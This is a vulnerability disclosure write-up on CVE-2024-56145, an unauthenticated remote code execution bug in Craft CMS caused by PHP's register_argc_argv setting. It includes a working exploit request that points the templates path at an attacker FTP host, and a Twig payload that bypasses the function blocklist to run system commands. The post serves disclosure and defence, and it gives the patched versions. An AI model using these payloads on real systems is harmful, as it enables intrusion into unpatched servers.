How an obscure PHP footgun led to RCE in Craft CMS
==================================================
Most developers would agree that PHP is a much saner, safer and more secure language than it was 15 years ago. The [fractal of bad design](https://eev.ee/blog/2012/04/09/php-a-fractal-of-bad-design/) that was rooted in the early days of PHP5 has given way to a much better development ecosystem with classes, autoloading, stricter types, saner syntax, and a whole host of other improvements. Security, also, has not been neglected.
Some older readers might remember the dark days of `register_globals` and `magic_quotes_gpc`, which are thankfully now gone. In the modern era a lot of the remaining security footguns have also now been fixed or mitigated; you can no longer get RCE from a simple `is_file('phar://...')`, we no longer have `'abc' == 0`, and dangerous constructs such as `assert($str)` and `preg_replace('/.../e')` have been removed from the language.
However, PHP still has quite a few interesting behaviors which can surprise developers and cause security issues, one of which we will shine a light on today.
Craft CMS is one of the most popular PHP based CMSes in the world, boasting over 150,000 sites worldwide. It has a thriving developer ecosystem and is popular enough to have [its own StackExchange site](https://craftcms.stackexchange.com/). They have a healthy, well maintained codebase as well as a [bug bounty program](https://github.com/craftcms/cms/security). We show in this blog post that under a common (default) configuration of PHP we can achieve unauthenticated Remote Code Execution.
The Craft CMS team published their [official advisory](https://github.com/craftcms/cms/security/advisories/GHSA-2p6p-9rc9-62j9) today, and assigned this vulnerability as CVE-2024-56145.
We found this technology to be prevalent across large enterprises and customers of our [Attack Surface Management platform](https://assetnote.io/), warranting a thorough investigation by our Security Research team to help our customers understand the true exposure they had on their Attack Surface when running Craft CMS.
### register\_argc\_argv 101
Any developer familiar with developing PHP to be used on the command line will be familiar with `$_SERVER['argc']` and `$_SERVER['argv']`. Like you might guess, these are special variables that are populated with the command line arguments passed when a PHP script is ran. For example, if you write a simple PHP script:
<?php var_dump($_SERVER['argv']);
And run `php test.php foo bar baz`, you will get:
array(4) {
[0]=>
string(7) "test.php"
[1]=>
string(3) "foo"
[2]=>
string(3) "bar"
[3]=>
string(3) "baz"
}
Which should be familiar, coming from a C background. But what happens if you host this file on a web server? This is controlled by the `register_argc_argv` configuration variable in the `php.ini`. In PHP's default configuration, `register_argc_argv` is on, and PHP will actually take `argv` from the query string, separated by spaces:
GET /test.php?foo+bar+baz
array(3) {
[1]=>
string(3) "foo"
[2]=>
string(3) "bar"
[3]=>
string(3) "baz"
}
However, populating this variable is a performance hit, and most web applications don't need to take arguments this way. So it is also very common for distros and shared hosts to configure this setting off. If `register_argc_argv` is Off, `$_SERVER['argv']` will simply not be populated. If you have PHP downloaded on your local environment and you test this right now, there's a high chance that `$_SERVER['argv']` will simply be NULL.
If you are a developer wanting to test if a file is being executed via the command line or via the web, you may be tempted to test with something like:
if (isset($_SERVER['argv'])) {
// cli ...
}
else {
// web ...
}
And this will work, some of the time! But it will only work if `register_argc_argv` _is set to off_. If you run this code on a webserver in a default installation of PHP and pass a query string, this code will think it's being run via the CLI. Critically, the Craft CMS official docker has `register_argc_argv = On`. This sets the stage for our bug.
### Locating the bug
One of the very first files loaded when requesting any path in a Craft CMS application is `bootstrap/bootstrap.php`. Since this bootstraps both the Craft CMS web and also `craft` console commands, it checks to see if some command line options have been passed:
$findConfig = function(string $cliName, string $envName) {
return App::cliOption($cliName, true) ?? App::env($envName);
};
// Set the vendor path. By default assume that it's 4 levels up from here
$vendorPath = FileHelper::normalizePath($findConfig('--vendorPath', 'CRAFT_VENDOR_PATH') ?? dirname(__DIR__, 3));
// Set the "project root" path that contains config/, storage/, etc. By default assume that it's up a level from vendor/.
$rootPath = FileHelper::normalizePath($findConfig('--basePath', 'CRAFT_BASE_PATH') ?? dirname($vendorPath));
// By default the remaining files/directories will be in the base directory
$dotenvPath = FileHelper::normalizePath($findConfig('--dotenvPath', 'CRAFT_DOTENV_PATH') ?? "$rootPath/.env");
//var_dump($dotenvPath);die;
$configPath = FileHelper::normalizePath($findConfig('--configPath', 'CRAFT_CONFIG_PATH') ?? "$rootPath/config");
$contentMigrationsPath = FileHelper::normalizePath($findConfig('--contentMigrationsPath', 'CRAFT_CONTENT_MIGRATIONS_PATH') ?? "$rootPath/migrations");
$storagePath = FileHelper::normalizePath($findConfig('--storagePath', 'CRAFT_STORAGE_PATH') ?? "$rootPath/storage");
$templatesPath = FileHelper::normalizePath($findConfig('--templatesPath', 'CRAFT_TEMPLATES_PATH') ?? "$rootPath/templates");
$translationsPath = FileHelper::normalizePath($findConfig('--translationsPath', 'CRAFT_TRANSLATIONS_PATH') ?? "$rootPath/translations");
$testsPath = FileHelper::normalizePath($findConfig('--testsPath', 'CRAFT_TESTS_PATH') ?? "$rootPath/tests");
This delegates the actual checking to `App::cliOption`, which looks like this:
public static function cliOption(string $name, bool $unset = false): string|float|int|bool|null
{
if (!preg_match('/^--?[\w-]+$/', $name)) {
throw new InvalidArgumentException("Invalid CLI option name: $name");
}
if (empty($_SERVER['argv'])) {
return null;
}
// We shouldn’t count on array being perfectly indexed
$keys = array_keys($_SERVER['argv']);
$nameLen = strlen($name);
// ... process option ! ...
}
This function does not check at all that we are actually in the CLI, meaning we can set these options via the query string! As a quick check, passing a query string like `?--configPath=/aaa` will force Craft CMS to look for a config file in an inaccessible location - on a vulnerable website it will look like this:
![](https://images.seebug.org/1735033588897-w331s)
### Exploiting the bug
The bug itself is not super deep and can be traced and verified fairly quickly. But the path to RCE is not at all clear. As a security researcher, our intuition says that this bug _feels_ like RCE, but there is no easy win here, as we only control the prefix of the loaded files. At this point we went through several 'standard' options for escalating what is essentially an arbitrary include to RCE. At this point we went through several approaches:
There is no clear way to upload files to Craft CMS pre auth, so uploading a malicious `.env` seems out of the question. There may be a way via the `PHP_SESSION_UPLOAD_PROGRESS` trick, which is [well documented](https://blog.orange.tw/posts/2018-10-hitcon-ctf-2018-one-line-php-challenge/), but it's unclear how the serialization format would work as a dotenv file and besides, we want to avoid a messy race condition if possible.
The next option is to do something with the `configPath` or the `templatesPath`. Both of these load executable code. Having control over the prefix of the loaded path, our first intuition was to use the `http` wrapper to remotely include a file which could then execute code. The idea is simple; if we provide a prefix such as `http://malicious.example.com/`, then the server will request a file like `http://malicious.example.com/config/default.php`, which is fully under our control. However, in both the `configPath` and `templatesPath` case, Craft CMS defensively checks if the file exists before loading it with a check like:
$path = $this->getConfigFilePath($filename);
if (!file_exists($path)) {
return [];
}
According to the PHP docs, `file_exists` is not supported for the http wrapper (it comes under `stat()`), so this check will always fail.
![](https://images.seebug.org/1735033590357-w331s)
If you follow current popular PHP exploitation trends, you might wonder if we can use some `php://filter` trick, but this also doesn't work for the same reason; the `php` wrapper does not support `stat()` and so the `file_exists` check will always fail before anything is loaded.
So far, the current blocker to using a wrapper has been that none of the ones we have considered support any sort of `file_exists` call. So what wrappers do support these calls? Going down the [standard list of supported wrappers](https://www.php.net/manual/en/wrappers.php), and looking at the documentation for each:
\- `file://` supports `stat()`, but this is clearly unhelpful;
\- `phar://` also supports `stat()`, but we can't easily smuggle a valid PHAR file onto the filesystem;
\- `ftp://` does indeed support some file system calls, including `file_exists`; interesting...
![](https://images.seebug.org/1735033591316-w331s)
We can't use the FTP wrapper to include a config file, since that ultimately called `include` and FTP wrappers are blocked by the `allow_url_include` security feature. But we can use it to include a template, which is just read via a simple `file_get_contents` call.
For testing, if you request the root path of a Craft CMS application it will try and load `default/index.twig`. So we created an FTP server allowing anonymous access and served an `index.twig` that looks like:
hello world {{7*7}}
And indeed, we can see that Craft CMS loads our supplied file, including the template:
GET /?--templatesPath=ftp://a:a@our.malicious.server:2121/ HTTP/1.1
Host: localhost:8000
...
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 19 Nov 2024 00:10:50 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: Craft CMS
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Referrer-Policy: no-referrer-when-downgrade
Content-Length: 15
hello world 49
From here the task is almost trivial, except there is one more hurdle; if you simply paste a Twig template injection from the internet like the following you might notice it doesn't seem to work:
{{ ['id'] | filter('system') }}
This is because Craft CMS makes some attempts to sandbox the Twig template renderer, to protect against malicious administrator users (or perhaps, in shared hosting environments). As part of this, they implement a check on any filter which takes a function name as argument in `src/web/twig/Extension.php`:
private static function checkArrowFunction(mixed $arrow, string $thing, string $type): void
{
if (
is_string($arrow) &&
in_array(ltrim(strtolower($arrow), '\\'), [
'system',
'passthru',
'exec',
'file_get_contents',
'file_put_contents',
])
) {
throw new RuntimeError(sprintf('The "%s" %s does not support passing "%s".', $thing, $type, $arrow));
}
}
This is however, of course, not really a serious barrier to exploitation via templates. There are a number of ways to bypass this, but we used the `sort` filter, which takes a function with two arguments, and passed the following:
{{ ['system', 'id'] | sort('call_user_func') }}
Since `call_user_func` is used as the sort function, it will be invoked to compare `'system'` and `'id'`, executing `call_user_func('system', 'id')`. This will then call `system('id')`, without directly passing the system function to the filter. Editing the file on our FTP host to contain this payload, we observe we have achieved remote code execution!
![](https://images.seebug.org/1735033592300-w331s)
### Conclusion
The behaviour of the `register_argc_argv` flag is not intuitive and this will probably not be the last security vulnerability caused in this way. Unless a developer explicitly checks that the code in running in CLI (for example, by checking `PHP_SAPI`) code written using `$_SERVER['argv']` is likely vulnerable to similar attacks to the ones outlined above.
This vulnerability was promptly fixed by the Craft CMS team in less than 24 hours and any installation running `5.5.2+` or `4.13.2+` is protected. If for some reason upgrading is not possible, you can simply configure `register_argc_argv=Off` in your `php.ini` file.
As always, customers of our [Attack Surface Management platform](https://assetnote.io/) have been notified for the presence of this vulnerability. We continue to perform original security research in an effort to inform our customers about zero-day and N-day vulnerabilities in their attack surface.
Written by:
Adam Kues
Unavailable Comments